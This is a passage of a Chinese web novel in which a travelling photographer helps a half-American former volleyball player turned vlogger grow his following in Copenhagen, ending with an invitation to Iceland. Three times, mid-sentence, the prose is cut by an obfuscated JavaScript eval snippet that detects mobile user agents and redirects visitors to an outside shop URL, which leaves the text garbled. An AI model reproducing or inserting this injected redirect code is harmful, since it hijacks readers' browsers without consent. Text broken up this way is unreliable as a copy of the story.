鬼使神差,陆朝深又点开了播放量最高的那期视频,上次看的时候,他总觉得盯着麦朗半裸的身体很尴尬,但现在麦朗变成了他的朋友和伙伴,虽然看到一大片浅麦色的肌肉还是会有些冲击力,不过也还好。 因为麦朗只穿一个健身背心的时候,真的什么都能看得清清楚楚。 只是那条泳裤真的太过于显眼了。 视频评论区的发言更是逆天,陆朝深不忍直视,心想着这不都是男人都有的东西吗?只不过麦朗的可能更优越一点而已。 陆朝深继续翻了一会儿,突然看到一条很让人匪夷所思的评论。 「粉麦吉4611」:姐妹们,听说排球运动员好像都很行诶~(斜眼笑) 嗯? 这怎么扯上了排球运动员? 底下有人回复:这个得看个人吧,没有定论的,我家Mikel属于天赋异禀的类型。 「宙斯之女王(见过xxx版)」:有点震惊,博主是排球运动员? 「粉麦吉4611」回复:对啊,Mikel前两年是美国排球职业联赛的新晋大神,但是因为旧伤复发了就没有打了,网上还有比赛视频。 「荧光蛋炒饭」:啊wok,我老公实惨,心疼他。 「猛男猫Agye」:所以退役排球运动员做起了擦边男……. 「粉麦吉4611」:想问一下这位大哥啥意思? 「猛男猫Agye」:字面意思呗,排球打不过就去做擦边主播,也不害臊啊。 之后的评论就一发不可收拾,彻底失控,陆朝深皱了皱眉,退出去之前,顺便把这位“猛男猫”的网友给举报了。 不过让他没有想到的是,麦朗居然是排球运动员,还是职业的。 几番搜证,一切都有了答案。 麦朗的视频质量并不是最上乘,但是粉丝量和热度却达到了一流网红的水准,除了自身优越的条件以外,自带的粉丝量很大程度上帮了他一把。 在排球界,麦朗的人气并不低,在外网还是有一定的知名度,毕竟人帅实力强,运动员时期的麦朗就搜刮了一堆颜粉。 但是最奇怪的是,相处两天下来,陆朝深自认为麦朗是一个比爱说话的人,几乎什么都不隐瞒,刚认识就迫不及待地分享了自己的账号,如今却没有坦白排球运动员的身份。 陆朝深一直都不喜欢打听别人过去,既然麦朗没说,那他就当做不存在好了。 - 做完调研,陆朝深点开微信,像批奏折一样回复了所有的消息。 朋友的红点也爆满了,昨天他发的朋友圈没屏蔽人,评论的人格外地多,翻都翻不完。 陆朝深随便挑了几条回复。 陆雅4.1:哥的状态看起来不错。 陆朝深:现在确实还行。 陆芷12.7:这个帅哥是???!!! 陆朝深打了好几遍,好像也不知道该怎么回复。 干脆打了一个:你猜。 陆半夏1.22:大哥多久带我们也去玩玩!! 陆朝深:等你小升初完 唐思颖2.19:深深你居然钓到了洋鱼(狗头) 陆朝深:这位女士请注意你的用词 陆朝深回复了好久,陆雅突然打过来一个视频电话。 铃声响了好几秒,陆朝深接了之后,屏幕上出现一副熟悉的面孔。 陆雅那边光线有点暗,“哥,你终于舍得看微信了?” “我这边信号有点不好,而且人家这边都用的whatsapp,没咋看微信,”陆朝深喝了口水,“你们那边怎么样?家里还好吗?” 陆雅:“才两天啊能出什么问题,一切都好。” 陆雅说完,转头向客厅的方向吼了一声:“陆半夏!” 一阵拖鞋拖着地面的声音,画面突然蹦出来一个小男孩。 “大哥!!”小男孩挤进屏幕,把手机拿走了。 视频里一阵东倒西歪,陆半夏的脸一直在屏幕上,眼神却盯着其他地方。 “诶,”陆朝深应了一声,“吃饭没呢?” 陆半夏的大眼睛眨了眨,看向陆朝深:“吃了,今天大姐带我们去吃的烤肉。” 说完后视线又飘走了。 陆朝深想都不用想,这小孩儿肯定是在打游戏。 “作业写完了吧。” 那边等了好几秒,“那必须的。” “还在那打游戏呢,”陆雅在旁边补了一句,“刚开,这一把还没打完。” 陆朝深说:“行吧,你先打去吧。” 那边行动飞快,手机立马又回到了陆雅手里。 声音从客厅飞来:“大哥,我等会儿打完再给你!” “哪有什么等会儿,”陆雅说,“打完这把睡觉了昂。” “这小子,”陆朝深笑了笑,“行了,不说他了,说说你。” “你接下来怎么打算的?” “没什么打算,反正研究生也保了,离开学还早,这段时间就我来管着家里。” 陆朝深突然有点自责:“辛苦你了。” 陆雅平静脸上显露出一点无语。 “哥你咋老是说这种话,”陆雅没忍住啧了一声,“我这才哪到哪,你好不容易可以休息一下。” 说到这个,陆雅又开始生气:“陆安迪那小屁孩儿是真不懂事。” 陆朝深摆摆手:“算啦,我也能理解他,青春期是这样的。” “你不生气了?”陆雅问。 “我跟他一个小孩子生什么气啊,我就是觉得太累了,想休息一下。” 陆雅沉默了一会儿,她想说陆朝深早就该休息了,但又说不出口。 凭借陆朝深的实力,他完全可以像父亲一样舍弃家庭远走高飞,如果不是家庭,陆朝深现在绝对会是一名非常出色的导演。 陆朝深知道陆雅又在想什么,没给对方 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“好嘛好嘛,我真的知道了。”陆芷一看占了下风,整个人倒在了陆雅身上, 陆朝深笑了一下:“真的是,多大人了。” “你可别说啊,”陆芷枕在陆雅腿上,镜头里已经都看不到人了,声音从底下传来,“大哥你都多大了,还不找女朋友,你是不是性冷淡啊,实在不行找个男朋友也行啊。” “哈哈哈哈哈哈哈!” 表面很淡定的陆雅也没忍住,捂着嘴笑得喘不上气。 陆朝深:我请问二位? 陆朝深脑袋闪过几道天雷,刚想说什么,门口传来敲门声。 “直接进来吧。”陆朝深往门口喊了一声。 陆芷直接坐了起来:“哥,你不是一个人住啊。” 说完当即又反应过来:“哦~我知道了,朋友圈那卷毛帅哥?你刚才还让我猜来着。” 确实是一个人去的,但现在应该不是一个人了。 身份该怎么说呢?室友?找的新朋友?合作伙伴? 陆朝深斟酌了一下,他突然想起了陆芷之前那11个没有撤回的视频。 气氛很安静,看着陆朝深有些嘲笑的眼神,陆芷直接秒懂,双手合十,作了作揖。 陆雅满脸疑惑:? “我这次找的旅游搭子。”陆朝深还是打算给这位18岁少女一个面子。 话音刚落,麦朗穿着一条短裤和老头衫就加入了。 “woc,这是真帅哥啊。” 陆芷那边不知道又在搞什么名堂,转头和陆雅说起了悄悄话,陆雅听了之后两眼突然放光。 麦朗蹲了下来,凑到手机屏幕面前:“你们好啊。” 这一声发音还算地道的中文直接把两姐妹惊到了,陆朝深率先解释:“他会中文的,混血。” 陆朝深又转过头:“这是我的两个妹妹。” 麦朗装作很意外的样子:“你居然又有两个妹妹,亲生的吗?” “你看看我们长得像不像?” 麦朗虚了虚眼睛,若有所思。 “确实长得挺像的。” 这话麦朗倒是没说谎,陆雅陆芷都和陆朝深长得很像,不过一个模子,两个风格,陆雅的眉目很清秀,一头乌黑的长发,散在背后,儒雅端庄,气质也更成熟,陆芷的五官则更艳丽一点,眼尾有些上扬,扎了一个丸子头,学生气息更重。 陆朝深看着麦朗手里还拿着电脑。 “今天就先这样吧,改天再打,我这边要和他商量一些事情。” 陆芷没忍住调侃:“大哥,你这次最好带个对象回来,男的女的都行!!” 陆朝深很想翻个白眼:“你一天不犯点贱心里真的不舒服。” 陆雅又没控制住,两个人在那边爆笑如雷。 8. 涨粉 挂断电话后,气氛顿时有些尴尬。 “童言无忌。”陆朝深只能憋出这样一个词语。 丹麦夏天的夜晚温度很合适,麦朗看了眼陆朝深脖子上的项链,睡衣就那样松垮垮地盖在他稍微单薄的身子上。 相处两天,麦朗还是第一次见到这样的陆朝深。 自在,松懈,毫无顾忌,说话没那么客气,之前他总觉得陆朝深的身边总有一堵围墙,现在看来,偶尔也有离得很近的时候。 “打扰到你了。” “怎么会,”陆朝深说,“我那个妹妹可喜欢看你这样的帅哥了。” 麦朗又把手搭过来:“那让她关注关注我。” “行啊,都等着你更新呢,”陆朝深看了眼麦朗手上的电脑:“你视频剪好了?” “哦对,刚想给你说这件事儿,”麦朗打开电脑,在一堆乱七八糟的界面中找到了最终的视频。 “你看看还有什么需要改的?” 今天的素材不算少,素材的整理,分类,以及选择,都需要花很长的时间,从回家到现在不过3个小时。 陆朝深心里大喊一声佩服:这工作效率是真的高。 不过嘛…….视频的剪辑还是沿用以前的惯例,一堆花里胡哨的特效转场堆叠在一起,看起来很炫酷,但也只是表面看起来而已。 “我个人觉得,是有些复杂了。” 陆朝深滑动进度条:“你看着这里,我建议你不用加入特效,简约的中英字幕就足够了。” “还有这个地方,”陆朝深继续说,“可以用手绘风格导入,或者整个先导片都可以用手绘风格,我个人认为比较贴合哥本哈根的实际情况。” 陆朝深说完停顿了一下,其实整个视频的完成度已经很高了,如果要改动的话就要重新花时间,甚至比之前更多。 “但是会比较麻烦…….” “没关系,我不怕麻烦的。”麦朗能量满满,“你说的那种手绘风格,需要自己重新去画吗?” “不用,”陆朝深说,“我这里有素材字体。” “还有一个就是文案的问题。” 槽点很多,陆朝深本来还想着全部说出来不太好,但麦朗在这方面真的很出乎他的意料。 在他看来,虚心接受别人的意见是一种非常珍贵且稀有的品质,连陆朝深自己都不敢说自己有,遥想当年,因为剧本剧情的事情和导师在办公室争论了三百回合……. “这样吧,我先去把我觉得可以优化的文案内容改好后发给你,然后你再酌情选择要改哪些部分。” “我听你的,”麦朗很肯定地说。 “你比我专业,你说改哪,我重新录音就行了。” 男男搭配,干活不累,一切都井井有条,陆朝深改完之后就立即给麦朗发了过去。 Mikel:收到(敬礼) Luka:加油加油! 大概又过了三个小时,陆朝深在厕所洗漱,牙刷都还没在嘴里捣鼓几下,麦朗突然大喊一声: “Luka!!” “噗!”突如其来的动静差点没把陆朝深嘴里的泡沫吓吐出来。 “剪完啦!!” “来了来了。” 陆朝深擦完嘴,急急忙忙进了卧室:“你这个速度是真的牛。” “坐这儿来看,”麦朗坐在床上,指了指自己的旁边。 先导片分为了两个部分,第一部分是试看,麦朗在里面放了几段今天的素材,采用了陆朝深所说的很治愈的手绘主题,第二部分就是偏轻松搞笑的预告片,去掉了繁琐复杂的特效,有点像国内综艺的拍摄风格。 整体改动很大,虽然还是有一点瑕疵,但和麦朗以前的视频风格比起来至少上了两个档次。 出乎意料,令人惊喜。 陆朝深鼓掌:“可以发了,我觉得没毛病。” “OK,”麦朗心情愉悦,点开了B站,“还是多亏了你呀。” “我只是提了小小的意见而已,而且也没有多详细,这个还是得看自己的造化。” 麦朗忽然停下手中的动作,然后缓缓说出四个大字: “卧—虎—藏—龙。” - 麦朗本来觉得不好笑的,他是真心认为陆朝深实力很强,只不过是在隐藏自己而已。 但是陆朝深笑得很开心,笑容是会传染的,他也跟着一起笑了好久。 “不不不,”陆朝深强行压下自己的情绪,“你别多想,这个成语用法是没错,只是我单纯地觉得很有趣。” 麦朗开玩笑似的努了努嘴。 “谢谢你对我的夸奖,”陆朝深一只手放在胸前,微微鞠躬。 “对了,这次发照片的话,微博也可以发一下。” 麦朗问:“都发一样的照片吗?” “发不一样的。”陆朝深边说边指,“这几张发微博,这些图集发ins,顺序就按照我给你说的顺序那样排列就行。” 麦朗虽然很想知道为什么,但还是照做了。 “主要是微博的用户群体中,女生占比更多,可以发一些比较…….” 陆朝深刚想说出“擦边”,脑袋突然反应过来,立刻闭嘴了。 麦朗还在头也不抬地编辑:“比较什么的?” 比较能彰显身材?比较能让辛苦一天的女生们愉悦一下心情? “比较吸粉的。” “哦哦。” 一切弄完后,麦朗关上电脑屏幕。 陆朝深靠在门边:“我有点期待明天的数据了。” 麦朗笑了笑:“我也很期待。” “行,那就明天看看。”陆朝深打了一个哈欠,关门之前回头望了一眼:“今晚早点睡,明天还指望你带我玩呢。” 麦朗:“一定。” “晚安。” 两个人同时说道。 - 陆朝深早上醒来的第一件事情就是看手机。 费了很大的力气睁开眼睛,麦朗昨晚按照他给的方案,在各种平台都发布了视频和照片。 微博的尺度偏保守——其实只有陆朝深这样说,昨晚他纠结了很久才让麦朗把第一天的合照也上传了。 发的时候,麦朗还专门问了他:“为什么要把合照放在最后?” 陆朝深实在不好解释,总不能说“我怕别人磕我俩cp吧”,随便糊弄了一下:“你的微博肯定以你为主。” ins的照片则要穿得多一点,毕竟粉丝数量很稳定,这次优先服务于国内粉丝,所以他把角度很暧昧的照片都上传到了微博。 包括但不限于:皮划艇上的深情注视,Buka bakery里吃东西时咬着可颂的动作,再附加两张很露身材的照片。 陆朝深看了之后只有一个感受:够蛊! 视频在油管和B站同步更新,陆朝深又点开B站,毫无悬念,麦朗的视频在首页推荐里。 但是封面怎么和他昨天看到的不一样啊? 陆朝深仔细看了一下,视频封面是麦朗在Labanchina(环保皮划艇的起点)拍的一张自拍,那是他们刚坐上划艇的时候。 不过照片中的陆朝深被特效处理了,像是一片人形的报纸碎片,头顶上面还打了一个问号。 不得不说,这一招很精妙,连陆朝深自己都有看下去的欲望,事实也不出所料,视频的播放量在短短的几个小时之内就达到了惊人的四百万播放量。 陆朝深点开,背景音乐一出,他突然呆住了。 是他和老爷爷一起弹奏的钢琴曲。 视频的开头是陆朝深拍的新港的码头,然后镜头一转,麦朗以第一视角出现。 经过陆朝深的指导,麦朗的自拍技术提升了很多,不再是像以前那样无脑地把自己放在镜头的四个角,而是放在正中央,一个非常真实且符合麦朗本人的脸出现了。 陆朝深在心里感叹:这个角度真的帅得过分。 其实也不能算是找了什么角度,就是大多数人自拍时的样子。 视频继续,镜头给到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150221|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了陆朝深,这里的他依然被特效处理了,还是那个纸片人。 陆朝深稍微调高了一点音量,他说不上整个视频的风格带来了什么的感觉,背景音乐一直在继续,麦朗的声音突然从视频里传来。 “好听吗?” 很有磁性,陆朝深戴着耳机,听得耳朵痒痒的。 大概持续了十几秒,画面音乐戛然而止,然后接着就是和昨天一模一样的视频。 也就是说,昨天讨论完之后,麦朗还多制作了一个很特别的开头。不管这个开头好坏与否,陆朝深都会认为麦朗是一个合格的创作者,更何况这个开头起了一个非常好的效果。 看完视频,陆朝深有些紧张地点开了评论区。 雷打不动,先是清一色的“老公”和“好久不见想你了”之流,翻了几百条,陆朝深终于在一堆好色之徒中找到了不一样的评论。 以下是陆编导挑选的加精评论。 「城北找徐公」:说实话,没人发现MIkel的这期视频质量真的很高吗?画面干净了很多,而且剪辑风格也不是那种花里胡哨的了,那个纸片人是神秘嘉宾吗?这一期真的是让人眼前一亮。 「天下第一菜」回复:lgdl,顺便说一句,小麦的脸终于不是歪的了,帅得我口水直流(贪吃) 「掌天葫芦AAA」:谁懂啊,麦麦子成功转型为高质量博主了,老父亲很是欣慰。 「李尘兰」:感觉有高人指点(Doge) 「顾古儿瓜」:文案确实比之前好了很多,但是还有待提升。 「白袜1M」回复:老妹,别对我老婆那么苛刻。 除了麦朗视频本身,还有很多讨论那个一直被麦朗遮住的“纸片人”是谁。 「天天向上一直前进」:正式的视频什么时候出来啊,好想知道这个纸片人长什么样!!! 「宣政院同副都承指」回复:+1,真的很好奇,MIkel的视频很少出现第二个人,而且出现的时间还那么长。 「ciczy」:会不会是微博上那个合照的? 「洁字夫子L」:感觉不太像,新朋友的身高看起来没那么高。 陆朝深没忍住回复了这个洁字夫子L:“哪里看出来的?” 过了五分钟,「洁字夫子L」回复陆朝深:很明显啊,你自己看那个照片,麦朗至少比他高20cm吧。 陆朝深无言以对,心里喊冤那只是构图的问题,照片是斜着拍的,陆朝深站得远了一点,所以视觉上看起来比麦朗矮了很多。 不过还有一个原因就是,为了把陆朝深遮住,纸片人的形象看起来有点胖,大家也联想不到他身上。 陆朝深给那几个猜测正确的评论点了个赞,这种感觉像是凶手在一旁看侦探们复盘案件。 除了一直都很稳定的ins和油管,麦朗的国内平台都爆了,微博的点赞量也上升了很多。 到底是该开心呢,还是该高兴呢,哈哈哈哈哈。 心情大好,陆朝深起床,开门的一瞬间撞见了站在门口的麦朗 “早......” 陆朝深还没说完,麦朗直接过来抱住了他。 一股清新干净的味道瞬间涌入鼻腔,陆朝深眼睛睁大,本能地想推开,但又反应迅速,仔细思考了一下。 拥抱在国外可能是一件很平常的事情,要是急急忙忙把别人推开只会显得自己不解风情。 陆朝深只好放了一只手在麦朗宽大的背上。 上半身的肌肤隔着两层薄薄的衣料接触在一起,陆朝深甚至能感觉到对方激动的心跳。 麦朗抱着他晃了晃,然后松开。 “怎么了?这么激动?”陆朝深明知故问。 麦朗声音止不住地上扬:“你猜猜我一晚上一共涨了多少粉丝?” 陆朝深没仔细算过,抱着胸:“给个提示呗。” 麦朗伸手比了一个一。 “一万?” 麦朗摇了摇头。 “全平台,一共涨了十万粉。” 9. 尾声 一天之内涨粉十万,这要是换做任何一个人,都会觉得是一件无比开心的事情。 陆朝深从洗漱到泡咖啡,再到做三明治,麦朗一直在给他分享各种事情。 吃饭的时候也不怕被噎住,嘴里包着食物还在咕咕噜噜地讲,陆朝深就安安静静地听着,听麦朗念评论区好笑的评论,说对未来的期待与规划,还有每一个奇妙又可爱的想法。 倾听不需要太多耐心,陆朝深倒不觉得麦朗是话痨什么的,偶尔还会笑着回应两句。 按年龄算,麦朗和陆雅的年纪差不多大,比他小了七岁,陆朝深也把他当半个弟弟看待。 “你知道吗?”麦朗说,“他们都让我去开通那个什么OnlyFans的账号,真的是太荒谬了。” “我觉得他们对我误解很大,我真的只是一个很纯情的男生,我总不可能把身材搞成50岁啤酒肚大叔那样吧。” 陆朝深不想把麦朗的穿搭搬出来讲,只好说道:“我还以为你不怎么在意这些呢。” 麦朗这次没有边吃边说了,把三明治整个塞进嘴里,擦了擦手。 “我最开始是不在意的,”麦朗说,“但是后面越来越疯狂,有些粉丝评论我都不敢看,我也不知道该怎么回复。” 陆朝深深表同情,原来身材太好也是一种烦恼。 “没关系,”陆朝深安慰道,“这也是你的一部分优势。” “我可是正经的旅游博主。” 陆朝深没有选择嘲笑,抿了抿嘴:“好好好,不说这个了,我们今天去哪儿玩?” “今天的目的地有点特别。” 又特别起来了? 陆朝深:“懂了,今天又要让我猜谜底。” “放心吧,不会让你失望的。” - 出门之前,陆朝深亲自指导了麦朗的穿搭。 其实也没有太高大上太时尚,上半身不再是单薄的背心,而是一件普通的重磅的白T恤,有型又显得不那么臃肿,下半身也从灰色运动裤变成了一条直筒牛仔裤。 裤子的裆位位置稍微比麦朗昨天穿的那条裤子高一些,把麦朗的身材比例拉得更好。脖子还戴了一根陆朝深的项链,形象从体育生变成了很青春的男大学生。 陆朝深把麦朗拉出来观摩了一下,以前他带陆安迪出来买衣服的时候也是这样,总会挑一套最好看的衣服出来。 “这样穿好看吗?” “肯定好看呀,”陆朝深在心里夸了两遍自己,“走吧,出发。” 麦朗提前在网上买好了火车票,这次的目的地在哥本哈根市区之外。 上火车之后,陆朝深在车厢里跟着人群慢慢地挪动,看着前面陆续入座的乘客,有点感慨。 “我已经很久没有坐过火车了。” 麦朗问:“上次坐火车是什么时候?” “高三的毕业旅行那会儿。” 换做是以前,陆朝深是不愿意回忆这些的。 “那个时候刚准备出去旅游,家里突然出了点事,定好的机票也只能退,但是我还是不甘心,最后选了最便宜的绿皮火车去,一坐就是20个小时。” 此后就再也没有出去旅游过了。 时过境迁,如今他的心态已经发生了翻天覆地的变化。 当时的他总想快点到达目的地,一路都在对糟糕的乘坐体验的抱怨和对家里破产的担忧中度过,现在看来,好像终点也不是最好的,因为最后到了目的地也不开心。 麦朗的上一秒还嘻嘻哈哈,这会儿又笑不出来了。 “那现在好起来了吗?” 陆朝深看了眼麦朗,没忍住拍了张照片。 “算是吧,”陆朝深说,“如果没好起来,我估计就不会出来了。” 去感受路,才是旅行中最重要的。 火车驶出哥本哈根市区,麦朗说到达目的地可能要20分钟左右的时间,陆朝深靠窗坐下,戴上耳机,望着窗外发呆。 没有城市的丹麦,就是童话的另一面。 温带海洋气候下的森林,宽厚而又绵长,多汁牧草依附着土壤狂野生长,有时在里面会看到一两栋小小的欧式楼房,像一朵雏菊长在丛中。 陆朝深看困了,眯了一会儿,刚闭上眼没多久,衣服就被人轻轻地扯了一下。 麦朗靠过来,像是哄着可能会发起床气的小孩儿,很轻地说了句:“我们要到啦。” 陆朝深嗯了一声,心里感觉怪怪的,以往都是他扮演者喊别人醒来的角色。 两人在Klampen下车,麦朗主动做起了导游。 “皇家鹿苑是一片占地1000公顷的林地,17世纪50年代,这里是丹麦皇家的大型狩猎场,所以一直有鹿被散养在这里。” 陆朝深问:“这里有哪些品种的鹿?我听说北欧的麋鹿都超级大一只。” 麦朗:“麋鹿确实很大,但是这里的鹿就是普通的品种,主要是马鹿和梅花鹿。” “如果你想看麋鹿的话,可以在冬天的时候去芬兰看看。” 陆朝深考虑了一下:“不错,如果时间充足的话我应该会去。” 麦朗低着头,陆朝深不知道他在想什么,看着地面,遇到一颗石子就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150222|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踢开。 过了几分钟,麦朗问了一句:“你打算在这玩多少天?” “你说丹麦吗?” “嗯。” 陆朝深打开日历,他没有忘记这次旅行真正的目的是什么。 22岁生日的时候,他许下一个愿望:一定要去北欧看看极昼。时光流转,在他独自托起整个家庭的第七年,旅行计划终于实现。 所以他要在夏令时结束之前进入极圈。 陆朝深说:“可能再玩个两天吧,这不现在跟着你混吗?等你玩够了我就去别的地方了。” “哦。”麦朗应了一声。 他现在倒是希望丹麦能多一点玩的地方。 沿着一条不宽不窄的道路走,林间到处都是游动的金光,在不远处,陆朝深突然看到了一只小鹿的身影。 “看那儿。”麦朗也给他指了指。 陆朝深问:“他们怕人吗?” “这个一看就是野生的,如果是野生的就会有些怕人。”麦朗说,“不过也没关系,再往前走,你就能看到更多的鹿群了。” 陆朝深拿起相机,趁着风吹动树荫的时候按下录制按钮,小鹿只是没有发现有人在拍它,待在原地,不知道是休息还是在发呆。 静态的画面中,只有风在动。 随着两人走近,小鹿又悄悄地跑了。 静谧的森林旁边长着一大片草原,更海一样宽,陆朝深回想起来,他在国内唯一一次看见大片的草原还是在川西的若尔盖,那个时候有高原反应,怎么玩都不尽兴,现在倒是满足了,明晃晃的一大片绿,一次性看个够。 尽管丹麦的纬度位置比成都高,但夏天的温度依然不算低。深入鹿群后,陆朝深发现小鹿们更喜欢待在树林里边儿。 “它们是在避暑?” “我觉得是,”麦朗说,“鹿还是比较怕热的。” 来鹿苑的人不少,人最多的地方就是人工饲养鹿的地方,这里的鹿不怕人,喂食的时候还会不害羞地舔舐人类的手心。 虽然味道有点大。 陆朝深戴上防晒面罩,刚好能止住一点味道。 另一边,麦朗拿出一点事先买好的食物,撒了一点在手上。 陆朝深说:“去吧,我给你拍照。” 一来到人多的地方,周围的视线难免会转移到他们身上,不过陆朝深承认今天是麦朗更帅。 陆朝深下意识地靠近,伸出手,勾了勾麦朗脖子上的项链。 “怎么了?”麦朗被陆朝深的手指勾得身体往前倾。 “没什么,就是想让你离镜头近一点。” 10. 邀请 麦朗很听话,离镜头近了一点。 陆朝深说:“你可以不用看镜头,看着小鹿就行。” 麦朗的眼珠转了转,脸差点挨着小鹿,似乎是被麦朗身上的一种天然的亲和力所吸引,小鹿很乖,耳朵晃了晃,并没有躲开。 整个屏幕里只有小鹿的半张脸,和麦朗的一只眼睛。 麦朗怕把小鹿吓着,小声地问:“拍好了吗?” 几秒钟后,陆朝深说:“可以了。” 陆朝深快速翻阅着照片,在他的镜头下,麦朗像一颗温煦的太阳,面部轮廓分明,但又被光晕衬得柔和俊朗。 每一张都好看到可以直接发到微博的程度。 说句不算太自恋的话,陆朝深每次都会被自己拍出来的照片所惊艳到。 “走吧,收拾东西去别的地方逛逛。”陆朝深说。 麦朗捏着鼻子:“你有没有觉得这里的味道有点大?” 陆朝深摸了下自己的脸:“所以我带了面罩。” 收拾好设备,刚往森林外边儿的草原走,就被两个中国游客给拦住了。 陆朝深本以为又是麦朗的粉丝,但这次好像看起来是冲他来的。 是一对看起来很年轻的情侣。 男生手里拿着自己的相机:“Hello,可以麻烦你帮我们拍一个合照吗?” 陆朝深毫不犹豫地答应:“当然可以,你们想怎么拍?” 女生说道:“普通的游客照就可以,不用太麻烦,谢谢你。” 陆朝深比了个OK,接过相机。 男生的相机是比较基础的那一类,陆朝深轻车熟路地调好镜头。 “3,2,1。” 灯光一闪,陆朝深先拍了一张标准的游客合照,拍完之后,不知道陆朝深又说了什么,那对情侣突然点了点头。 麦朗站在旁边,干脆选了一块儿稍微干净的地方坐下,看着陆朝深指导情侣的拍照姿势。 他没怀疑过,陆朝深一定会拍出最好看的照片。 陆朝深的头发在阳光的照射散出一点棕色,碎刘海刚好到眉毛的位置,黑发随风动了动。 大概拍了有四五组,走之前,陆朝深和那两个游客交换了微信。 “怎么样?”麦朗问。 “还不错,”陆朝深说,”刚才我给他们拍了一张游客照,我想着这种游客照也太没意思了,就问他们要不要再拍一点。” 麦朗顺着他的话往下说:“然后他们就同意了。” “没错,他们看我拍的游客照也被我拍出一种氛围感,巴不得让我多拍一点,还说修好了以后付费给我。” “他们在冰岛留学,趁着放假就来这里旅游,反正我后面也有去冰岛的打算,他们说我到时候去了冰岛可以再联系。” 麦朗捕捉到了十分关键的信息:“你后面要去冰岛吗?” “对啊,”陆朝深说,”趁着夏令时去看看极昼。” 麦朗哦了一声,没再说话。两人走出森林,来到空旷的草原,陆朝深一眼望去,看到了那根草原中央的椅子。 “去坐坐?” 说是提议,陆朝深直接默认提议,这回换麦浪跟在他后头了。 从下站到鹿苑,走了很久,坐下的时候陆朝深感觉气顺了不少。 这里的味道比较清新,牧草混着泥土的味道并没有大家所描述的那种“芳香”,只能算得上是不难闻。 两个人坐在木凳上沉默了一会儿,麦朗突然说:“过了今天,哥本哈根好像就没什么好玩的了。” 陆朝深大概回想了一下第一天查的攻略,哥本哈根本来一直都被是被当一日游的地方,他们还慢慢悠悠地耍了三天。 “小美人鱼雕像还没看过。” “那个离新港很近,回市区就能看。”麦朗说,“其实我觉得也就那样吧,但是如果你看过安徒生童话,说不定对你来说会很有意义。” 陆朝深有惊讶;“怎么啦?你没看过吗?” 麦朗似乎看起来还有些小骄傲:“没呢,我小时候都不看童话。” “那你小时候喜欢看什么?” 陆朝深问的时候就想着,麦朗可能会回答一些美国本土的某些不为人知的动画片,结果没想到麦朗一开口就是震惊世界。 “偷星九月天。” “什么?”陆朝深直接瞪大眼睛,“你看偷星九月天?” 偷星九月天是一部非常古早的漫画,十多年前就开始连载,甚至很多中国的小孩儿也未必看过。 “是啊,”麦朗说,“不过我小时候中文学得不好,还把主角的名字叫错了,明明是‘琉星’,我一直读得‘疏星’。” 陆朝深大笑得肆无忌惮:“没事,起码认了一半字。” 两人对视一眼,又笑了。 过了一会儿,麦朗突然喊了陆朝深一声。 “Luka。” 陆朝深转过头。 “你要不要和我一起去冰岛?” 眼前的芦苇丛颤了颤,被风吹得摇头晃脑。 陆朝深问:“怎么这么突然?” “嗯……就是想和你一起去。”麦朗说,“反正我们都要去北欧五国,也都是一个人。当然了我绝对不是图你免费给我拍照哈,如果你愿意去冰岛和我一起拍素材,我愿意拿出账号收入的一半给你。” 信息量爆炸,陆朝深嘴巴微张,脑袋里飞速运转,他能理解麦朗想和自己组个队,一起去北欧,但是后半段话又是怎么回事? 当时讨论钱这个事情的时候,麦朗后来决定帮他垫付所有的房租,肯定不能说免费。 陆朝深想了想,应该是刚才提到了给情侣拍照付费的事情。 他不会以为自己在暗示要给钱吧? “不过你不想去也没关系。”麦朗的声音弱了一些。 陆朝深很少关注除了自己弟弟妹妹以外的人的表情,麦朗的神情说不上有多悲伤,但能看得出来有那么一点点的失落。 陆朝深并不是在纠结要不要和麦朗一起同行,而是在推断未来发生的一切可能。 万一他们俩不太合呢?万一因为一些事情而争执了呢? 但是话又说回来,麦朗真的会对他生气吗?自己又不是那种作妖的人,他实在是想象不出麦朗生气的样子。 陆朝深看了眼麦朗,挪了一下,把手搭在麦朗的肩膀上。麦朗的肩膀很宽,陆朝深要离得很近才能搂住他。 “我没说不想去啊,”陆朝深说,“我只是觉得会不会太麻烦你了。” 麦朗抬起头。 “你其实是想去的?” 陆朝深摸了摸鼻子,眉目彻底舒展开:“有这么好的一个导游我干嘛放着不要。” 麦朗站了起来,心底一阵欢呼雀跃:“我就当你同意咯?” 陆朝深像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150223|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着一个得到奖励的小孩儿,缓缓地点了点头。 - 麦朗很亢奋。 火车站下车到市区需要步行一段距离,麦朗的话突然变得很多,穿过一个桥洞的时候,陆朝深忽然听见前面有人在唱歌。 